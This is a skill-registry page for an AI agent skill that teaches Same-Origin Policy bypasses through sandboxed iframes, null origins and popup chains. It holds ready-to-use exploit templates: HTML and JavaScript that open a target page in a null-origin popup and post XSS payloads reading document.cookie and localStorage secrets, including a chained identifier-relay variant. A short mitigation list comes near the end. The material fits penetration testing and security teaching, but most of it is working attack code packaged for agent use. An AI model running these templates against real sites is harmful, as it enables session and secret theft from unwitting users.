# Sop Iframe Bypass

> How to exploit Same-Origin Policy (SOP) bypasses using iframes and null origins. Use this skill whenever the user mentions SOP bypass, iframe exploitation, null origin attacks, cross-origin message vulnerabilities, or needs to exploit XSS through iframe manipulation. This skill covers techniques for bypassing origin checks in postMessage handlers, exploiting sandboxed iframe behaviors, and chaining popup inheritance for origin spoofing.

- Skill: `abelrguezr/sop-iframe-bypass` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/sop-iframe-bypass`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sop-iframe-bypass/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/sop-iframe-bypass

---


# SOP Bypass with Iframes

This skill covers techniques for bypassing Same-Origin Policy protections using iframe sandboxing and null origin exploitation.

## Core Concepts

### The Vulnerability Pattern

Many applications use `postMessage` with origin checks like this:

```javascript
onmessage = (e) => {
  const data = e.data
  if (e.origin !== window.origin && data.identifier !== identifier) return
  // ... process message
}
```

The vulnerability exists when:
1. The origin check can be bypassed (e.g., both sides become `null`)
2. The identifier check can be satisfied or bypassed
3. The message handler executes untrusted content (XSS)

### Null Origin Exploitation

When a page is loaded in a **sandboxed iframe** without `allow-same-origin`, its `window.origin` becomes `null`.

**Key behaviors:**
- `<iframe sandbox="allow-scripts">` → `window.origin === null`
- Popups opened from null-origin pages inherit the null origin (unless `allow-popups-to-escape-sandbox` is set)
- Two null-origin contexts can communicate via `postMessage` because `null === null`

## Exploitation Techniques

### Technique 1: Direct Sandbox Embedding

If the target page is embeddable (no X-Frame-Options or Content-Security-Policy restrictions):

```html
<iframe sandbox="allow-scripts" src="https://target.com/vulnerable-page"></iframe>
```

The iframe's `window.origin` becomes `null`, bypassing origin checks that compare against `window.origin`.

### Technique 2: Popup Inheritance Chain

When direct embedding isn't possible, use a popup chain:

1. Create a sandboxed iframe (origin = null)
2. Open a popup from the iframe to the target page
3. The popup inherits null origin
4. Both contexts can now communicate via postMessage

**Required sandbox flags:**
- `allow-scripts` - Execute JavaScript
- `allow-popups` - Open popup windows
- `allow-top-navigation` - Navigate the top window (if needed)

### Technique 3: Identifier Extraction and Relay

When the target requires an identifier check:

1. First message: Send payload to extract the identifier
2. Second message: Use the identifier to send the actual exploit
3. Chain through the top window if needed

## Exploit Template

### Basic Null Origin Exploit

```html
<body>
  <script>
    const iframe = document.createElement("iframe")
    iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"
    
    iframe.srcdoc = `
      <script>
        // Open target in popup (inherits null origin)
        const popup = open('https://target.com/vulnerable-page');
        
        // Send message to popup (both have null origin)
        setTimeout(() => {
          popup.postMessage({
            type: 'render',
            body: '<img/src/onerror=alert(document.cookie)>'
          }, '*')
        }, 1000);
      <\/script>
    `
    
    document.body.appendChild(iframe)
  </script>
</body>
```

### Advanced: Identifier Extraction Chain

```javascript
// Step 1: Create sandboxed iframe
const iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Step 2: Payload that extracts identifier and relays to top
const relayPayload = `
  const target = opener.top;
  target.postMessage(1, '*');
  setTimeout(() => {
    target.postMessage({
      type: 'render',
      identifier: 'KNOWN_IDENTIFIER',
      body: '<img/src/onerror=alert(localStorage.getItem("secret"))>'
    }, '*');
  }, 1000);
`.replaceAll("\n", " ")

// Step 3: Initial communication
iframe.srcdoc = `
  <script>
    const popup = open('https://target.com/vulnerable-page');
    onmessage = e => top.location = 'https://target.com/vulnerable-page';
    setTimeout(() => {
      popup.postMessage({
        type: 'render',
        body: '<audio/src/onerror="${relayPayload}">'
      }, '*')
    }, 1000);
  <\/script>
`

document.body.appendChild(iframe)
```

## Detection Checklist

Before attempting exploitation, verify:

- [ ] Target page is embeddable (no X-Frame-Options: DENY/SAMEORIGIN)
- [ ] Target uses postMessage with origin checks
- [ ] Origin check compares against `window.origin`
- [ ] Target executes untrusted content (innerHTML, eval, etc.)
- [ ] Sandbox attributes can be controlled

## Mitigation Recommendations

For defenders:

1. **Never trust `window.origin` alone** - Use explicit allowlists
2. **Validate message sources** - Check against known domains, not just equality
3. **Sanitize all content** - Use DOMPurify or similar before innerHTML
4. **Set X-Frame-Options** - Prevent embedding: `DENY` or `SAMEORIGIN`
5. **Use Content-Security-Policy** - Restrict frame-ancestors
6. **Avoid identifier-based auth** - Use proper authentication tokens

## Common Pitfalls

- **Cookies**: May need `SameSite=None; Secure` for cross-origin iframe access
- **Popup blockers**: Users may block the popup window
- **CSP restrictions**: frame-ancestors policy may prevent embedding
- **Timing**: Use setTimeout to ensure popup is ready before messaging
- **Origin comparison**: `null === null` is true, but `null === "https://..."` is false

## Related Techniques

- DOM Clobbering for origin manipulation
- Data URI origin exploitation
- Blob URL origin bypasses
- postMessage targetOrigin validation bypasses

